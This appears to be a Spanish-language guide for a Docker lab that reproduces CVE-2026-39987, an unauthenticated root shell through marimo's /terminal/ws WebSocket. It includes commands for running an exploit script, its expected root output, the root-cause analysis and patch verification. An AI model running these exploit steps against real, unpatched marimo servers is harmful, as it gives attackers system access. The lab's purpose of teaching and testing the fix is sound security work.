
# Laboratorio educativo de Docker que demuestra CVE-2026-39987, un RCE sin autenticación previa mediante la omisión de autenticación WebSocket en marimo, con script de explotación y pasos de verificación del parche.
Ejecución Remota de Código Pre-Autenticación mediante Bypass de Autenticación en WebSocket de Terminal
Un laboratorio Docker educativo para comprender, reproducir y parchear esta vulnerabilidad crítica en marimo.
| Objetivo | marimo <= 0.20.4 ejecutándose en modo edit con autenticación por token habilitada |
| Atacante | Cualquier host con Python 3 y websocket-client |
| Objetivo del ataque | Obtener un shell root interactivo a través de /terminal/ws sin proporcionar un token de autenticación |
| Tipo | Bypass de Autenticación → Ejecución Remota de Código (RCE) |
| Parche | marimo >= 0.23.0 |
⚠️ Solo para Uso Ético: Este laboratorio está diseñado para investigadores de seguridad, desarrolladores y estudiantes para comprender cómo ocurren las vulnerabilidades de bypass de autenticación y cómo corregirlas adecuadamente. Ejecutar únicamente en entornos aislados.
┌─────────────────────────────────────────────────────────────┐
│ Docker Network │
│ (cve-lab) │
│ │
│ ┌──────────────────────┐ ┌──────────────────────┐ │
│ │ marimo-vulnerable │ │ marimo-attacker │ │
│ │ (Target) │ │ (Attacker) │ │
│ │ Port: 2718 │ │ Python 3.12 │ │
│ │ Auth: Token │◄─────│ exploit.py │ │
│ │ marimo: 0.20.4 │ │ │ │
│ └──────────────────────┘ └──────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────┘
Archivos en este laboratorio:
| Archivo | Propósito |
|---|---|
Dockerfile.target | Construye el servidor marimo vulnerable |
docker-compose.yml |
# Clonar el repositorio
git clone https://github.com/YOUR_USERNAME/CVE-2026-39987-lab.git
cd CVE-2026-39987-lab
# Iniciar el laboratorio
docker-compose up --build -d
# Ejecutar el exploit
pip install websocket-client
python exploit.py ws://127.0.0.1:2718/terminal/ws exec "id && whoami && hostname"
# Obtener un shell interactivo
python exploit.py ws://127.0.0.1:2718/terminal/ws shell
# Crear un directorio de trabajo y colocar estos archivos dentro:
# - docker-compose.yml
# - Dockerfile.target
# - exploit.py
# Construir e iniciar el objetivo
docker-compose up --build -d
# Verificar que el objetivo está en ejecución
docker ps
# Deberías ver: marimo-vulnerable Up 0.0.0.0:2718->2718/tcp
Qué sucede:
0.20.4 (versión vulnerable)edit con autenticación --token explícitamente habilitada2718 está expuesto a tu hostAntes de explotar, verifiquemos que el objetivo está correctamente protegido en los endpoints legítimos:
# Intentar abrir la interfaz principal en un navegador o mediante curl
curl -s http://127.0.0.1:2718/
# Esperado: Redirección a la página de inicio de sesión o 401/403 (token requerido)
# Intentar el WebSocket principal (/ws) sin un token
python3 -c "import websocket; ws=websocket.WebSocket(); ws.connect('ws://127.0.0.1:2718/ws')"
# Esperado: Conexión rechazada o cerrada inmediatamente debido a la falta de autenticación
Observación Clave: Los endpoints principales de la aplicación aplican correctamente la autenticación. La vulnerabilidad reside en un endpoint secundario que fue pasado por alto.
pip install websocket-client
python exploit.py ws://127.0.0.1:2718/terminal/ws exec "id && whoami && hostname"
Salida esperada:
[+] Connecting to ws://127.0.0.1:2718/terminal/ws...
[+] Connected! No auth needed - Terminal WebSocket accepted
[*] Executing: id && whoami && hostname
[+] Output:
uid=0(root) gid=0(root) groups=0(root)
root
<container_id>
python exploit.py ws://127.0.0.1:2718/terminal/ws shell
Obtendrás un prompt $ donde puedes ejecutar comandos arbitrarios del sistema:
[+] Got interactive shell! Type 'exit' to quit.
$ ls -la /
total 56
drwxr-xr-x 1 root root 4096 Jan 1 00:00 .
drwxr-xr-x 1 root root 4096 Jan 1 00:00 ..
...
$ exit
[*] Connection closed.
La vulnerabilidad existe debido a una verificación de autenticación inconsistente entre los endpoints WebSocket:
┌─────────────────────────────────────────────────────────────────┐
│ Authentication Middleware (Starlette) │
│ ├── Marks unauthenticated connections as "UnauthenticatedUser" │
│ └── Does NOT automatically close WebSocket connections │
└─────────────────────────────────────────────────────────────────┘
│
┌───────────────┴───────────────┐
▼ ▼
┌──────────────────┐ ┌──────────────────┐
│ /ws (Main) │ │ /terminal/ws │
│ │ │ (Terminal) │
│ ✓ validate_auth()│ │ ✗ NO auth check │
│ ✓ @requires("edit")│ │ ✓ SessionMode.EDIT│
│ │ │ ✓ supports_terminal()│
│ Rejects unauth │ │ ✓ Accepts immediately│
└──────────────────┘ └──────────────────┘
Middleware de autenticación (Starlette AuthenticationMiddleware) marca las conexiones no autenticadas como UnauthenticatedUser pero no cierra las conexiones WebSocket automáticamente.
Endpoints correctos (por ejemplo, /ws) llaman a validate_auth() o usan @requires("edit"), rechazando a los clientes no autenticados.
Endpoint vulnerable (/terminal/ws) solo verifica:
SessionMode.EDIT — asegura que el servidor esté en modo ediciónsupports_terminal() — asegura que la función de terminal esté disponibleawait websocket.accept() sin ninguna verificación de autenticación.Impacto: pty.fork() genera un shell PTY completo que se ejecuta como el usuario del servidor (root en la imagen Docker predeterminada), otorgando al atacante acceso completo al sistema.
El parche añade una validación de autenticación adecuada al endpoint /terminal/ws, asegurando que coincida con la postura de seguridad de los demás endpoints.
Actualiza el objetivo a la versión parcheada y vuelve a ejecutar el exploit para confirmar la corrección:
# Editar Dockerfile.target: cambiar marimo==0.20.4 a marimo==0.23.0
# O usar: sed -i 's/marimo==0.20.4/marimo==0.23.0/' Dockerfile.target
docker-compose down
docker-compose up --build -d
# Intentar el exploit de nuevo
python exploit.py ws://127.0.0.1:2718/terminal/ws exec "id"
Esperado después del parche:
[+] Connecting to ws://127.0.0.1:2718/terminal/ws...
[-] Connection failed: Connection refused or authentication required
La conexión ahora es rechazada/cerrada inmediatamente; no se obtiene ningún shell. ✅
# Detener y eliminar contenedores
docker-compose down -v
# Eliminar la imagen construida
docker rmi cve-lab_target
# Limpiar cualquier imagen colgante
docker image prune -f
Construido con fines educativos. Úsalo de manera responsable. 🔒
| Orquesta los contenedores objetivo y atacante |
exploit.py | Script de exploit PoC (comando único + modo interactivo) |
LAB_GUIDE.md | Esta guía |
| Problema | Solución |
|---|
Connection refused | Asegúrate de que el contenedor esté en ejecución: docker ps y revisa los registros con docker logs marimo-vulnerable |
ModuleNotFoundError: No module named 'websocket' | Instala el cliente: pip install websocket-client |
| Sin salida del exploit | Aumenta el tiempo de espera: python exploit.py ... --timeout 20 |
| El contenedor sale inmediatamente | Revisa la sintaxis del Dockerfile y asegúrate de que el notebook test.py se cree correctamente |
| Permiso denegado | Asegúrate de que el daemon de Docker esté en ejecución y tengas los permisos adecuados |